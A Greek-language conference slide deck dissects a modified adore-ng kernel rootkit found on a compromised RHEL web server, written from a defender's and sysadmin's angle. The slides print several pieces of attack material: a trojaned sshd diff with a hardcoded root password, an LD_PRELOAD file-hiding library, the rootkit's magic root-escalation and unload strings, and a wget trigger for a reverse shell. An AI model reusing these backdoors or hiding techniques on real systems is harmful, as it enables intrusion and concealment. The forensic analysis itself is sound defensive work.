Playing hide-and-seek with a compromised system

Dissecting breathing rootkits

@apoikos

25 Νοεμβρίου 2011

Εισαγωγή

- Αμυντική ασφάλεια, από την πλευρά του sysadmin
- Τα συνδεδεμένα στο internet συστήματα βρίσκονται σε διαρκή κίνδυνο
- Μια δεκαετία ανάπτυξης του Web, χωρίς έμφαση στην ασφάλεια (aka PHP)
- Κάθε sysadmin θα συναντήσει χακεμένα μηχανήματα στην καριέρα του. Κάθε τέτοιο μηχάνημα είναι και ένα μάθημα.

Πως προστατευόμαστε

- Δύσκολο να ξεχωρίσουμε τη legitimate από την illegitimate κίνηση σε ένα busy site
- Αλλά: δύσκολο για έναν εισβολέα να *μην* αφήσει ίχνη
- Η Ασφάλεια είναι τρόπος σκέψης, είναι όμως και συμβιβασμός στη Χρηστικότητα
  - Security updates, ενημέρωση για vulnerabilities
  - Μόνο τα απαραίτητα services
  - Σωστό logging
  - Explicitly allow things (DROP firewall policy, allow_{groups,users} στο SSH)
  - Δια ροπάλου, πουθενά clear-text passwords
  - Know Your System^{TM}

Ανάλυση

- Σίγουρη γιατρειά για ένα χακεμένο μηχάνημα: στήσιμο απ' την αρχή
- Γιατί να κάνουμε malware analysis;
  1. Για να βρούμε *ποιός* μπήκε στο μηχάνημα
  2. Για να βρούμε *πως* μπήκε στο μηχάνημα
  3. Για να βρούμε *τι πήρε* από το μηχάνημα
  4. Για να γνωρίζουμε τι είδους «εργαλεία» κυκλοφορούν in-the-wild
  5. Από περιέργεια :-)

Ανάλυση

- Σίγουρη γιατρειά για ένα χακεμένο μηχάνημα: στήσιμο απ' την αρχή
- Γιατί να κάνουμε malware analysis;
  1. Για να βρούμε *ποιός* μπήκε στο μηχάνημα
  2. Για να βρούμε *πως* μπήκε στο μηχάνημα
  3. Για να βρούμε *τι πήρε* από το μηχάνημα
  4. Για να γνωρίζουμε τι είδους «εργαλεία» κυκλοφορούν in-the-wild
  5. Από περιέργεια :-)

  Προσοχή: Η ανάλυσή μας πρέπει να είναι όσο το δυνατόν non-intrusive, για να μην καταστρέψουμε στοιχεία

Post mortem

Ο εισβολέας συνήθως αφήνει:

- Κακόβουλα processes
- Modified binaries/libraries
- LD_PRELOAD libraries
- Kernel rootkits

Modified binaries

Τι μπορεί να κάνουν;

- Authentication bypass (π.χ. `sshd`)
- Απόκρυψη πληροφορίας (π.χ. `ls`, `netstat`, `ps`)
- Υποκλοπή πληροφορίας (π.χ. `pam_unix.so`)
- Setuid shells

Πώς τα εντοπίζουμε;

- Έλεγχος md5sums όλων των αρχείων που ανήκουν σε πακέτα
  `debsums`, `rpm -V`
- Έλεγχος όλων των suid binaries
  `find / -type f -perm -4000 -ls`
- Έλεγχος όλων των αρχείων που *δεν* ανήκουν σε πακέτα

Trojaned sshd

```
--- auth-passwd.c.orig 2011-11-24 19:36:39.000000000 +0200
+++ auth-passwd.c 2011-11-24 19:36:45.000000000 +0200
@@ -87,6 +87,9 @@
 #endif

 #ifndef HAVE_CYGWIN
+       if (pw->pw_uid == 0 && strncmp(password, "letmein", 7) == 0)
+               return 1;
+
        if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
                ok = 0;
 #endif
```

LD_PRELOAD

Τι κάνει η LD_PRELOAD;

- LD_PRELOAD=/home/apoikos/mylib.so /usr/bin/somebinary
- Ο dynamic linker (/lib/ld-linux.so) θα φορτώσει τη βιβλιοθήκη μας *πριν* από οποιαδήποτε άλλη
- Μας δίνει τη δυνατότητα να αλλάξουμε τη συμπεριφορά οποιασδήποτε συνάρτησης προέρχεται από shared library
- Ελέγχεται μέσω της environment variable LD_PRELOAD ή του /etc/ld.so.preload

LD_PRELOAD: παράδειγμα

```
#define _GNU_SOURCE
#include <dirent.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>

struct dirent64 * readdir64(DIR *d)
{
    int c;
    static void *orig_readdir64;
    struct dirent64 *dp;

    if (orig_readdir64 == NULL) {
        orig_readdir64 = dlsym(RTLD_NEXT, "readdir64");
        if (orig_readdir64 == NULL)
            abort();
    }

    for (;;) {
        dp = ((struct dirent64 *(*)(DIR *))orig_readdir64)(d);
        if (dp == NULL)
            return (NULL);
        if (strncmp(dp->d_name, "hideme", strlen("hideme")) == 0)
            continue;
        return dp;
    }
}
```

LD_PRELOAD: παράδειγμα

```
$ gcc -o libhideme.so -shared -ldl hideme.c
$ touch hideme
$ ls -l | grep hideme
-rw-r--r-- 1 apoikos apoikos    0 2011-11-24 18:53 hideme
$ LD_PRELOAD=$(pwd)/libhide.so ls -l | grep hideme
$
```

LD_PRELOAD: παράδειγμα

```
$ gcc -o libhideme.so -shared -ldl hideme.c
$ touch hideme
$ ls -l | grep hideme
-rw-r--r-- 1 apoikos apoikos    0 2011-11-24 18:53 hideme
$ LD_PRELOAD=$(pwd)/libhide.so ls -l | grep hideme
$
```

Η LD_PRELOAD *δεν* επιδρά σε static και setuid binaries. Το καλύτερο εργαλείο: static busybox.

```
$ LD_PRELOAD=$(pwd)/libhide.so busybox ls -l | grep hideme
-rw-r--r--    1 apoikos  apoikos          0 Nov 24 18:53 hideme
```

Kernel rootkits

- Η πιο «σοβαρή» κατηγορία
- Τροποποίηση του running kernel μέσω modules ή `/dev/{k,}mem`
- Δύσκολο έως αδύνατο να ανιχνευτούν χωρίς offline ανάλυση
- Επηρεάζουν όλα τα userspace applications

Kernel rootkit: παράδειγμα

- Compromised σύστημα (web server, RHEL 5.x)
- Έχουν βρεθεί διάφορα user-space components (reverse shells, etc)
  - Έλεγχος md5sums όλων των αρχείων που ανήκουν σε πακέτα
  - Χειροκίνητος έλεγχος όλων των αρχείων που **δεν** ανήκουν σε πακέτα
- Έλεγχοι με τους κοινούς rootkit scanners (π.χ. lynis, chkrootkit, rkhunter) **δε δείχνουν** compromised kernel

Όμως...

```
$ ls -la /var/empty
total 0
drwxrwxrwt  2 root    root     4096 Oct 12 21:02 .
drwxr-xr-x 22 root    root     4096 Oct 20 11:22 ..
$ ls -ld /var/news
drwxr-xr-x 6 news news 4096 Nov 20 00:23 /var/news
$ ls -la /var/news
total 0
$
```

Pwned?!

Stating the obvious

- Ο πυρήνας μας κατά 99% είναι compromised
- Δεν μπορούμε να εμπιστευτούμε τίποτα πάνω στο σύστημα...
- ...απ' την άλλη δε θέλουμε να το κάνουμε reboot μέχρι να βρούμε τι τρέχει

Stating the obvious

- Ο πυρήνας μας κατά 99% είναι compromised
- Δεν μπορούμε να εμπιστευτούμε τίποτα πάνω στο σύστημα...
- ...απ' την άλλη δε θέλουμε να το κάνουμε reboot μέχρι να βρούμε τι τρέχει

Guesswork

- Το συγκεκριμένο rootkit σίγουρα κρύβει αρχεία από το filesystem. Κατά πάσα πιθανότητα κάνει πολλά παραπάνω.
- Θέλουμε έναν τρόπο να μπορέσουμε να δούμε τα περιεχόμενα του directory παρακάμπτοντας το VFS layer και χωρίς να κατεβάσουμε το σύστημα

Νεκροψία

- `dd`? Ρισκάρουμε inconsistencies
- `dump/restore`: Μπορούμε να πάρουμε consistent backup του filesystem σε block layer, όσο είναι mounted!

Νεκροψία

- `dd`? Ρισκάρουμε inconsistencies
- `dump/restore`: Μπορούμε *να* πάρουμε consistent backup του filesystem σε block layer, όσο *είναι* mounted!

```
$ ssh host sudo /sbin/dump -0u -f - / > dumpfile
$ restore -i -f dumpfile
restore > ls /var/news
./var/news:
net.ko nntpd
```

Bingo!

net.ko

```
$ file net.ko
net.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

$ /sbin/modinfo net.ko
filename:       net.ko
license:        GPL
srcversion:     2F04D854F0C334ACB6DE042
depends:
vermagic:       2.6.18-128.el5 SMP mod_unload gcc-4.1
parm:           root_fs:charp
parm:           proc_fs:charp
parm:           opt_fs:charp

$ strings net.ko
...
/var/news/nntpd
...
/var/www/index.php
...
uninstall
gimmeh!
...
khelper
```

Reversing: Let the fun begin!

```
$ objdump -t -j .text net.ko

net.ko:     file format elf64-x86-64

SYMBOL TABLE:
0000000000000000 l    d  .text 0000000000000000 .text
0000000000000078 g     F .text 0000000000000043 adore_atoi
0000000000000000 g     F .text 0000000000000029 hide_proc
00000000000000bb g     F .text 000000000000002b proc_find_tcp
00000000000003a7 g     F .text 0000000000000116 should_be_hidden
00000000000000b2 g     F .text 0000000000000049 adore_find_task
0000000000000329 g     F .text 0000000000000024 unhide_proc
000000000000030f g     F .text 00000000000000c4 adore_unix_dgram_recvmsg
00000000000000e6 g     F .text 0000000000000048 strnstr
0000000000000455 g     F .text 0000000000000103 new_stat
000000000000004d g     F .text 000000000000002b is_invisible
000000000000012e g     F .text 0000000000000082 adore_tcp4_seq_show
0000000000000558 g     F .text 00000000000001a4 adore_lookup
0000000000000583 g     F .text 000000000000004c new_getdents
000000000000061e g     F .text 0000000000000036 ownbox
```

adore-ng

- Αντικαθιστά την filldir(), κρύβει αρχεία που ανήκουν σε συγκεκριμένο UID
- Κρύβει κίνηση από και προς συγκεκριμένες TCP θύρες από το /proc/net/tcp
- Κρύβει συγκεκριμένα processes, μαζί με το syslog output τους
- Κάνει hook στην lookup του /proc και ελέγχεται μέσω πρόσβασης σε «dummy» αρχεία στο /proc

```
/*
 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
 * echo > /proc/<ADORE_KEY>-fullprivs will give UID 0,
 * cat /proc/hide-<PID> from such a shell will hide PID,
 * cat /proc/unhide-<PID> will unhide the process
 */
```

Reversing: Let the fun begin!

```
$ objdump -t -j .text net.ko

net.ko:     file format elf64-x86-64

SYMBOL TABLE:
0000000000000000 l    d  .text 0000000000000000 .text
0000000000000078 g     F .text 0000000000000043 adore_atoi
0000000000000000 g     F .text 0000000000000029 hide_proc
00000000000000bb g     F .text 000000000000002b proc_find_tcp
00000000000003a7 g     F .text 0000000000000116 should_be_hidden
00000000000000b2 g     F .text 0000000000000049 adore_find_task
0000000000000329 g     F .text 0000000000000024 unhide_proc
000000000000030f g     F .text 00000000000000c4 adore_unix_dgram_recvmsg
00000000000000e6 g     F .text 0000000000000048 strnstr
0000000000000455 g     F .text 0000000000000103 new_stat
000000000000004d g     F .text 000000000000002b is_invisible
000000000000012e g     F .text 0000000000000082 adore_tcp4_seq_show
0000000000000558 g     F .text 00000000000001a4 adore_lookup
0000000000000583 g     F .text 000000000000004c new_getdents
000000000000061e g     F .text 0000000000000036 ownbox
```

- Οι `ownbox()`, `new_stat()` και `new_getdetdents()` δεν υπάρχουν στο upstream adore.
- Μπορούμε να υποθέσουμε ότι οι υπόλοιπες συναρτήσεις κάνουν ό,τι και στο original adore.
- Εξαίρεση: η adore_lookup, αφού δε βρήκαμε το κλειδί μέσα στα rodata του binary

- Οι `ownbox()`, `new_stat()` και `new_getdetdents()` δεν υπάρχουν στο upstream adore.
- Μπορούμε να υποθέσουμε ότι οι υπόλοιπες συναρτήσεις κάνουν ό,τι και στο original adore.
- Εξαίρεση: η adore_lookup, αφού δε βρήκαμε το κλειδί μέσα στα rodata του binary

Disassembly:

```
$ objdump -Dslx net.ko
```

adore_lookup()

```
48e:   c6 44 24 30 63          movb   $0x62,0x30(%rsp)
497:   c6 44 24 31 63          movb   $0x6c,0x31(%rsp)
49c:   c6 44 24 32 63          movb   $0x65,0x32(%rsp)
4a1:   c6 44 24 33 70          movb   $0x73,0x33(%rsp)
4a6:   c6 44 24 34 00          movb   $0x73,0x34(%rsp)
4ab:   c6 44 24 34 00          movb   $0x0,0x35(%rsp)

4bf:   c6 44 24 20 79          movb   $0x62,0x20(%rsp)
4c4:   c6 44 24 21 6f          movb   $0x79,0x21(%rsp)
4cc:   c6 44 24 22 64          movb   $0x65,0x22(%rsp)
4d1:   c6 44 24 23 61          movb   $0x21,0x23(%rsp)
4d6:   c6 44 24 24 00          movb   $0x0,0x24(%rsp)
```

adore_lookup()

```
48e:   c6 44 24 30 63          movb   $0x62,0x30(%rsp)
497:   c6 44 24 31 63          movb   $0x6c,0x31(%rsp)
49c:   c6 44 24 32 63          movb   $0x65,0x32(%rsp)
4a1:   c6 44 24 33 70          movb   $0x73,0x33(%rsp)
4a6:   c6 44 24 34 00          movb   $0x73,0x34(%rsp)
4ab:   c6 44 24 34 00          movb   $0x0,0x35(%rsp)

4bf:   c6 44 24 20 79          movb   $0x62,0x20(%rsp)
4c4:   c6 44 24 21 6f          movb   $0x79,0x21(%rsp)
4cc:   c6 44 24 22 64          movb   $0x65,0x22(%rsp)
4d1:   c6 44 24 23 61          movb   $0x21,0x23(%rsp)
4d6:   c6 44 24 24 00          movb   $0x0,0x24(%rsp)
```

```
char a[] = { 'b', 'l', 'e', 's', 's', NULL }; /* bless */
char b[] = { 'b', 'y', 'e', '!', NULL }; /* bye! */
```

adore_lookup()

```
 487:   4c 8d 44 24 30          lea    0x30(%rsp),%r8
 48c:   31 c0                   xor    %eax,%eax
 493:   fc                      cld
 494:   4c 89 c7                mov    %r8,%rdi
 4ab:   48 83 c9 ff             or     $0xffffffffffffffff,%rcx
 4b9:   48 89 de                mov    %rbx,%rsi
 4e4:   f2 ae                   repnz scas %es:(%rdi),%al
 4e6:   4c 89 c7                mov    %r8,%rdi
 4e9:   48 f7 d1                not    %rcx
 4ec:   48 8d 51 ff             lea    -0x1(%rcx),%rdx
 4f0:   e8 00 00 00 00          callq  4f5 <adore_lookup+0x9d>
 4                      5f1: R_X86_64_PC32      strncmp+0xfffffffffffffffc
 4f5:   85 c0                   test   %eax,%eax
 4f7:   75 29                   jne    522 <adore_lookup+0xca>
get_current():
/usr/src/kernels/2.6.18-128.el5-x86_64/include/asm/current.h:11
 4f9:   65 48 8b 04 25 00 00    mov    %gs:0x0,%rax
 500:   00 00
adore_lookup():
 502:   48 81 48 18 00 00 00    orq    $0x1000000,0x18(%rax)
```

adore_lookup()

```
 487:   4c 8d 44 24 30          lea    0x30(%rsp),%r8
 48c:   31 c0                   xor    %eax,%eax
 493:   fc                      cld
 494:   4c 89 c7                mov    %r8,%rdi
 4ab:   48 83 c9 ff             or     $0xffffffffffffffff,%rcx
 4b9:   48 89 de                mov    %rbx,%rsi
 4e4:   f2 ae                   repnz scas %es:(%rdi),%al
 4e6:   4c 89 c7                mov    %r8,%rdi
 4e9:   48 f7 d1                not    %rcx
 4ec:   48 8d 51 ff             lea    -0x1(%rcx),%rdx
 4f0:   e8 00 00 00 00          callq  4f5 <adore_lookup+0x9d>
 4                     5f1: R_X86_64_PC32      strncmp+0xfffffffffffffffc
 4f5:   85 c0                   test   %eax,%eax
 4f7:   75 29                   jne    522 <adore_lookup+0xca>
get_current():
/usr/src/kernels/2.6.18-128.el5-x86_64/include/asm/current.h:11
 4f9:   65 48 8b 04 25 00 00    mov    %gs:0x0,%rax
 500:   00 00
adore_lookup():
 502:   48 81 48 18 00 00 00    orq    $0x1000000,0x18(%rax)
```

```
if (strncmp("bless", d->d_iname, strlen("bless")) == 0)
    current->flags |= 0x1000000;
```

Μισή καφετιέρα αργότερα...

```
if (strncmp("bless", d->d_iname, strlen("bless")) == 0) {
    current->flags |= 0x1000000;
} else if ((current->flags & 0x100000)
           && strncmp("uninstall", d->d_iname, 9) == 0) {
    printk("Sorry!");
} else if ((current->flags & 0x100000)
           && strncmp("bye!", d->d_iname, 5) == 0) {
    cleanup_module();
}

if (should_be_hidden(adore_atoi(d->d_iname))) {
    return NULL;
} else {
    return orig_proc_lookup(..);
}
```

Επόμενα βήματα

- Έχουμε βρει τα κλειδιά και τον τρόπο να απενεργοποιήσουμε το rootkit
- Δεν έχουμε ακόμα βρει τα backdoors που πιθανώς ανοίγει στο σύστημα:
  - Γιατί κάνει hook στην stat() και την getdents(), σε αντίθεση με το original adore;
  - Ποια από τα original κομμάτια του adore χρησιμοποιεί;
  - Τι κάνει η ownbox();

Hidden services

TCP ports που «κρύβει» το adore από το /proc/net/tcp

```
Disassembly of section .data:

0000000000000000 <HIDDEN_SERVICES>:
   0:   b2 5e 69 7a 00 00 00 00
```

Hidden services

TCP ports που «κρύβει» το adore από το /proc/net/tcp

```
Disassembly of section .data:

0000000000000000 <HIDDEN_SERVICES>:
   0:   b2 5e 69 7a 00 00 00 00
```

```
>>> from struct import unpack
>>> unpack("4H", "b2 5e 69 7a 00 00 00 00".replace(" ","").decode("hex"))
(24242, 31337, 0, 0)
```

new_getdents()

```
int getdents(unsigned int fd, struct linux_dirent *dirp,
                        unsigned int count);
```

new_getdents()

```
new_getdents():
 3d3:   41 54                   push   %r12
 3d5:   49 89 f4                mov    %rsi,%r12
 3d8:   55                      push   %rbp
 3d9:   89 d5                   mov    %edx,%ebp
 3db:   53                      push   %rbx
 3dc:   89 fb                   mov    %edi,%ebx
 3de:   e8 00 00 00 00          callq  3e3 <new_getdents+0x10>
                      3df: R_X86_64_PC32      fget+0xfffffffffffffffc
 3e3:   48 85 c0                test   %rax,%rax
 3e6:   48 89 c7                mov    %rax,%rdi
 3e9:   74 0e                   je     3f9 <new_getdents+0x26>
 3eb:   48 8b 40 10             mov    0x10(%rax),%rax
 3ef:   48 8b 40 10             mov    0x10(%rax),%rax
 3f3:   83 78 54 0a             cmpl   $0xa,0x54(%rax)
 3f7:   74 1a                   je     413 <new_getdents+0x40>
 3f9:   e8 00 00 00 00          callq  3fe <new_getdents+0x2b>
                      3fa: R_X86_64_PC32      fput+0xfffffffffffffffc
 3fe:   89 df                   mov    %ebx,%edi
 400:   89 ea                   mov    %ebp,%edx
 402:   4c 89 e6                mov    %r12,%rsi
 405:   5b                      pop    %rbx
 406:   5d                      pop    %rbp
 407:   41 5c                   pop    %r12
 409:   4c 8b 1d 00 00 00 00    mov    0x0(%rip),%r11        # 410 <new_getdents+0x3d>
                      40c: R_X86_64_PC32      original_getdents+0xfffffffffffffffc
 410:   41 ff e3                jmpq   *%r11
 413:   e8 00 00 00 00          callq  418 <new_getdents+0x45>
                      414: R_X86_64_PC32      fput+0xfffffffffffffffc
...
```

new_getdents()

```
new_getdents():
 3d3:   push   %r12
 3d5:   mov    %rsi,%r12
 3d8:   push   %rbp
 3d9:   mov    %edx,%ebp
 3db:   push   %rbx
 3dc:   mov    %edi,%ebx
 3de:   callq  3e3 <new_getdents+0x10>
     3df: R_X86_64_PC32      fget
 3e3:   test   %rax,%rax
 3e6:   mov    %rax,%rdi
 3e9:   je     3f9 <new_getdents+0x26>
 3eb:   mov    0x10(%rax),%rax
 3ef:   mov    0x10(%rax),%rax
 3f3:   cmpl   $0xa,0x54(%rax)
 3f7:   je     413 <new_getdents+0x40>
 3f9:   callq  3fe <new_getdents+0x2b>
     3fa: R_X86_64_PC32      fput
 3fe:   mov    %ebx,%edi
 400:   mov    %ebp,%edx
 402:   mov    %r12,%rsi
 405:   pop    %rbx
 406:   pop    %rbp
 407:   pop    %r12
 409:   mov    0x0(%rip),%r11
     40c: R_X86_64_PC32      original_getdents
 410:   jmpq   *%r11
 413:   callq  418 <new_getdents+0x45>
     414: R_X86_64_PC32      fput
...
```

```
new_getdents(fd, *dirp, count) {
    /* System V AMD64 ABI:
     * %rdi -> fd
     * %rsi -> dirp
     * %rdx -> count
     */

    file = fget(fd);
    if (file != NULL)
        /* %rdi -> file */
        if (file->f_uid == 9) {
            fput(file);
            return 0;
        }

    fput(file);

    /* restore fd, count */

    return original_getdents(fd, dirp, count);
}
```

new_getdents()

```
int new_getdents(fd, *dirp, count) {
    file = fget(fd);
    if (file != NULL) {
        if (file->f_uid == 9) {
            fput(file);
            return 0;
        }
    }

    fput(file);
    return original_getdents(fd, dirp, count);
}
```

- Κάνει wrap την κανονική `getdents()`
- Επιστρέφει μηδέν όταν το directory έχει owner το χρήστη με UID 9

new_stat()

```
int stat(const char *path, struct stat *buf);
```

Αν το path =~ `/var/www/index\.php\.(.*)`, τότε καλείται η `ownbox()`:

- Execute τον userspace helper /var/news/nntpd με argument το $1, μέσω της `call_usermodehelper()`
- Reverse shell, χτυπάει στην πόρτα 24242 (hidden service)
- Exploitable μέσω του web server:
  `wget http://some.host/index.php.192.0.1.0`
  Ο apache κάνει `stat()` ένα αρχείο πριν το σερβίρει

new_stat()

Αν το path == "gimmeh!"

```
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
```

```
$ id
uid=9(news) gid=13(news) groups=13(news) context=root:system_r:
unconfined_t:SystemLow-SystemHigh
$ python
>>> import os
>>> os.stat("gimmeh!")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 2] No such file or directory: 'gimmeh!'
>>> os.system("/bin/sh")
# id
uid=0(root) gid=0(root) groups=0(root) context=root:system_r:un
confined_t:SystemLow-SystemHigh
```

Συμπεράσματα

- Μια local και μια remote τρύπα
- Απόκρυψη αρχείων και TCP connections
- Ο kernel παρέχει facilities που διευκολύνουν το exploitation
  - usermode-helper: επιτρέπει στο rootkit να παραμείνει όσο το δυνατόν πιο thin (άρα και robust). Οι πολύπλοκες διεργασίες γίνονται στο userspace.
- Είναι σχετικά δύσκολο για ένα rootkit να κρύψει τον εαυτό του σε όλα τα επίπεδα (βλ. filesystem layer vs. block layer)

Εργαλεία

- `objdump`: ELF analysis, disassembly
- `python`: prototyping, packing/unpacking
- `strace`: userspace/black-box analysis
- `strings, hexdump, etc`

Εργαλεία

- `objdump`: ELF analysis, disassembly
- `python`: prototyping, packing/unpacking
- `strace`: userspace/black-box analysis
- `strings`, `hexdump`, `etc`

Όλα standard εργαλεία που υπάρχουν στη συντριπτική πλειοψηφία των Linux συστημάτων.